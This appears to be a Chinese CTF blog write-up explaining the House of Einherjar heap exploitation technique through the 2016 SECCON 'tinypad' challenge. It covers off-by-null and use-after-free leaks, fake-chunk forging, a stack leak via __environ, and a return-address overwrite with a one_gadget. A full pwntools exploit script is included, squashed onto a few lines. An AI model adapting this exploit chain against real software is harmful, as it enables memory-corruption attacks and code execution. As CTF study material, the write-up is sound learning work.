当前位置: 首页 > news >正文

House Of Einherjar

House Of Einherjar

利用 unlinkalloc 到目标地址。

通过在目标地址附近伪造 fake_chunk 绕过 unlink 检查,并计算出所利用的 chunk 地址与目标地址的偏移,借助释放 chunk 时的向后合并来把目标地址放入 bins 中,再 malloc 回来。

对比一下与 unlink 利用本身的区别,该技巧的目标在于控制目标地址,而 unlink 利用是为了在地址上写值。

实现该技巧时,有三个关键:

  • 绕过 fd->bk == p && bk->fd == p

  • 绕过 size(p) == prev_size(next_chunk(p))

  • 伪造 prev_size 并修改 PREV_INUSE 位为 0

2016 Seccon tinypad

借此题练习 House Of Einherjar,同时发现了好几个基础知识的理解错误。

保护:

[*] '/home/pwner/Desktop/Learning/Heap/house_of_einherjar/pwn'Arch:       amd64-64-littleRELRO:      Full RELROStack:      Canary foundNX:         NX enabledPIE:        No PIE (0x3fe000)Stripped:   No

程序的主要功能有三个:adddeleteedit。没有函数封装,读起来非常难受。

有一个 tinypad 数组,后 0x40 个字节用于存储 4memo,每一个占 16 字节,前 8 字节用于存储 size,后 8 字节用于存储指针。

程序的输入函数存在 off-by-nulldelete 函数只清空了 size 段,没有清空指针,存在 UAFedit 函数具体实现是,把 tinypad 的前 256 字节作为缓冲区,先在这个缓冲区中输入,随后再 strcpy 进去。

程序在每次交互之前,都会输出每个 memo 的内容,由于存在 UAF,可以借此泄露 libc_baseheap_base

我们考虑在 tinypad 的前 256 字节那里伪造 fake_chunk,通过 house of einherjar 控制 tinypad 进而控制 memo 的大小和指针。(用 unlink 打好像也行)。

具体伪造 fake_chunk 主要考虑两点:

  • 绕过 fd->bk == p && bk->fd == p,这个直接 fd = bk = p

  • size(p) == prev_size(next_chunk(p))size 任选,只需要在后面额外伪造一个相同的 prev_size 即可。

然后利用 off-by-null 修改 victimPREV_INUSE 位,并将 prev_size 改为与 target 的偏移,然后 free 掉它来触发向后合并。

由于 edit 函数中的字符串输入长度是取的原字符串长度(strlen),所以如果要直接往 __malloc_hook 或者 __free_hook 里面写的话是不行的,因为它们一开始是 0。于是考虑通过泄露 envp[] 在栈上的地址,进而推出函数的返回地址,然后修改返回地址为 one_gadget

为了让程序在任何地方都能方便地读取环境变量,glibc 内部专门设置了一个全局变量叫 __environ,该变量存储了 envp[] 在栈上的地址。

我们有 libc_base,所以可以通过把 __environ 的地址写到 memo 里面,进而泄露 envp[] 的地址。再通过固定的偏移把 main 函数返回地址推出来。

在实现这个思路的时候,我发现我对 last remainder 的理解有点错误,当 unsorted bin 中仅有一个 chunk 且该 chunklast remainder chunk 时才会进行切分。不是的话是不会直接切的。但是为什么我之前这样理解做很多题都没有问题呢?是因为实际的过程是,大小不匹配,且没有其他 chunk 了,glibc 会用 binmap 来从 small binlarge bin 中找大于等于 size 的,再进行切分,并把剩下的 chunk 作为 last remainder chunk 放入 unsorted bin 中,最终的效果恰好和那个错误的理解一样了😅

而这题不行了,因为合并后的 fake chunkbin 中拿出时,会用到 unlink ,合并后的 fake chunk 是不好绕过 size 的检查的。

所以可以对合并后的 fake chunk 再进行修改,把大小改小一点,并直接 malloc 整个 chunk

发现自己对于整个 malloc 申请内存流程的细节把握得不是很好,需要完善一下。另外也是学习到了通过 libc.symbols['__environ'] 泄露栈地址的技巧。

from pwn import *
io = process('./pwn')
libc = ELF('./libc.so.6')
main_arena = 0
heap_base = 0
def debug():gdb.attach(io)pause()
def add(size,content):io.sendlineafter(b'(CMD)>>>',b'A')io.sendlineafter(b'(SIZE)>>>',str(size).encode())io.sendlineafter(b'(CONTENT)>>>',content)
def delete(index):io.sendlineafter(b'(CMD)>>>',b'D')io.sendlineafter(b'(INDEX)>>>',str(index).encode())
def edit(index,content,type):io.sendlineafter(b'(CMD)>>>',b'E')io.sendlineafter(b'(INDEX)>>>',str(index).encode())io.sendlineafter(b'(CONTENT)>>>',content)if type == 0:io.sendlineafter(b'(Y/n)>>>',b'n')else:io.sendlineafter(b'(Y/n)>>>',b'Y')
def trans(addr,id):return addr+((2*id)+31)*8
def leak():global heap_base,main_arenaadd(0x80,b'1'*0x80)add(0xf0,b'2'*0xf0)add(0x80,b'3'*0x80)add(0x80,b'4'*0x80)delete(3)delete(1)#debug()io.recvuntil(b'#   INDEX: 1')io.recvuntil(b'# CONTENT: ')heap_base = io.recv(4)+b'\x00'*4heap_base = u64(heap_base)heap_base -= 0x190io.recvuntil(b'#   INDEX: 3')io.recvuntil(b'# CONTENT: ')offset = 0x78a11bdc4b78-0x78a11ba00000main_arena = io.recv(6)+b'\x00'*2main_arena = u64(main_arena)libc.address = main_arena-offsetprint(f"Heap base: {hex(heap_base)}")print(f"Libc base: {hex(libc.address)}")
def Exploit():leak()tinypad = 0x602040fake_addr = tinypad+0x40offset = heap_base+0x90-fake_addrpayload = b'3'*0x80+p64(offset)add(0x80,b'1'*0x80)add(0x88,payload)fake_chunk = flat([p64(0)*8,p64(0),p64(0x21),p64(fake_addr),p64(fake_addr),p64(0x20)])edit(4,fake_chunk,1)#debug()delete(2)fake_chunk = flat([p64(0)*8,p64(0),p64(0x111),p64(main_arena),p64(main_arena)])edit(1,fake_chunk,1)memo = 0x602140payload = flat([b'a'*0xb0,p64(0x100),p64(memo+0x38),p64(0),p64(0),p64(0),p64(0),p64(0x100),p64(main_arena)])add(0x100,payload)environ = libc.symbols['__environ']print(f"environ: {hex(environ)}")edit(1,p64(environ),1)#debug()io.recvuntil(b'#   INDEX: 4')io.recvuntil(b'# CONTENT: ')environ_addr = io.recv(6)+b'\x00'*2environ_addr = u64(environ_addr)print(f"environ_addr: {hex(environ_addr)}")offset = 0x7ffcccbfcb68-0x7ffcccbfca78main_ret_addr = environ_addr-offsetone_gadget = libc.address+0xf1147print(f"main_ret_addr: {hex(main_ret_addr)}")print(f"one_gadget: {hex(one_gadget)}")edit(1,p64(main_ret_addr),1)edit(4,p64(one_gadget),1)#debug()io.interactive()if __name__ == '__main__':Exploit()
http://www.jsqmd.com/news/555961/

相关文章:

  • Nomic-Embed-Text-V2-MoE实战:构建智能文档检索系统与MySQL集成
  • 4个高效步骤构建AI多智能体交易系统:从环境搭建到策略优化
  • VINS-Mono跑EUROC数据集后,如何用evo工具包进行轨迹精度评估与可视化(附完整命令)
  • Z-Image-Turbo-rinaiqiao-huiyewunv开发者教程:gc.collect()+empty_cache显存防泄漏实践
  • 关于logrotate
  • Joy-Con Toolkit深度技术指南:从硬件控制到开源生态构建
  • 保姆级教程:手把手教你为QGC地面站添加离线地图功能(基于QML源码修改)
  • AI手势识别从入门到应用:彩虹骨骼版MediaPipe Hands全流程解析
  • Z-Image-Turbo镜像优化指南:如何调整参数获得更佳生成效果
  • 智能家居音乐革新:小米音乐Docker化突破与实践指南
  • 4大维度解锁TrafficMonitor插件扩展能力:定制化系统监控全攻略
  • 5分钟拥有专属数字人:lite-avatar形象库150+角色快速体验
  • 避坑指南:Buildroot系统mmcblk0p2分区挂载失败?可能是这个EXT4隐藏特性在作怪
  • ITIL服务战略:从成本中心到价值引擎的运维转型
  • 从零到一:UniApp前端网页托管与自定义域名配置实战指南
  • 绿联NAS私有云结合alist打造小雅影视中心WebDAV全攻略
  • OpenClaw压力测试:GLM-4.7-Flash连续执行100任务稳定性
  • Translumo实战指南:如何用实时屏幕翻译轻松跨越语言障碍
  • 如何实现4倍速的语音转文字:faster-whisper深度解析与实战应用
  • 深大计算机考研复试全流程避坑指南:从机试环境、酒店选择到体检时机,这些细节别忽略
  • GitLab实战:如何用rebase -i优雅合并多个commit(附常见错误排查)
  • 3步革新直播生产力:构建无人值守的智能工作流
  • 别再为模糊监控头疼了!手把手教你用SRGAN+ResNet101搞定低清行人重识别
  • 如何3分钟搞定全网音乐歌词下载与管理:163MusicLyrics完整使用指南
  • 自动化伦理探讨:OpenClaw百川2-13B-4bits在个人数据处理的权限边界
  • iStore软件中心:OpenWRT插件管理解决方案与实战指南
  • 如何在Linux上快速部署BepInEx:Unity游戏插件框架完整指南
  • 稀疏阵列DOA估计实战:从MUSIC算法到虚拟阵列优化(附Python代码)
  • 百川2-13B对话模型创作力展示:多风格文案与故事生成案例
  • 基于CLIP-GmP-ViT-L-14的智能教学辅助:自动化作业批改场景构想